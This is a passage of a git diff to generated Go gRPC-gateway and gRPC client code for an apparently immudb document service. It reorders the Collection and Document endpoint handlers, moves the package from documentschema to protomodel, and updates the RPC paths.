outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -551,11 +551,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -566,7 +566,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -574,11 +574,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -589,7 +589,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -597,11 +597,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -612,7 +612,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -620,11 +620,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -635,7 +635,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -643,11 +643,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -658,7 +658,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -666,7 +666,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -711,7 +711,7 @@ func RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, // "DocumentServiceClient" to call the correct interceptors. func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error { - mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -720,18 +720,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -740,18 +740,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -760,18 +760,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -780,18 +780,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -800,18 +800,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -820,18 +820,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -840,18 +840,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -860,18 +860,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -880,18 +880,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -900,18 +900,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -920,14 +920,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -935,16 +935,6 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv } var ( - pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_DocumentUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_DocumentProof_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) @@ -955,20 +945,20 @@ var ( pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) -) + pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) -var ( - forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage + pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) - forward_DocumentService_DocumentUpdate_0 = runtime.ForwardResponseMessage + pattern_DocumentService_DocumentUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) - forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage + pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage + pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) - forward_DocumentService_DocumentProof_0 = runtime.ForwardResponseMessage + pattern_DocumentService_DocumentProof_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) +) +var ( forward_DocumentService_CollectionCreate_0 = runtime.ForwardResponseMessage forward_DocumentService_CollectionGet_0 = runtime.ForwardResponseMessage @@ -979,5 +969,15 @@ var ( forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentUpdate_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentProof_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go similarity index 89% rename from pkg/api/documentschema/documentschema_grpc.pb.go rename to pkg/api/protomodel/documents_grpc.pb.go index c326456b6d..da2974e127 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. -package documentschema +package protomodel import ( context "context" @@ -18,17 +18,17 @@ const _ = grpc.SupportPackageIsVersion7 // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type DocumentServiceClient interface { - DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) - DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) - DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) - DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) - DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) + DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) + DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) + DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) + DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) + DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) } type documentServiceClient struct { @@ -39,99 +39,99 @@ func NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient return &documentServiceClient{cc} } -func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { - out := new(DocumentInsertResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentInsert", in, out, opts...) +func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { + out := new(CollectionCreateResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionCreate", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) { - out := new(DocumentUpdateResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentUpdate", in, out, opts...) +func (c *documentServiceClient) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) { + out := new(CollectionGetResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionGet", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { - out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentSearch", in, out, opts...) +func (c *documentServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { + out := new(CollectionListResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionList", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) { - out := new(DocumentAuditResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentAudit", in, out, opts...) +func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) { + out := new(CollectionDeleteResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionDelete", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) { - out := new(DocumentProofResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentProof", in, out, opts...) +func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) { + out := new(CollectionUpdateResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionUpdate", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { - out := new(CollectionCreateResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionCreate", in, out, opts...) +func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { + out := new(DocumentInsertResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentInsert", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) 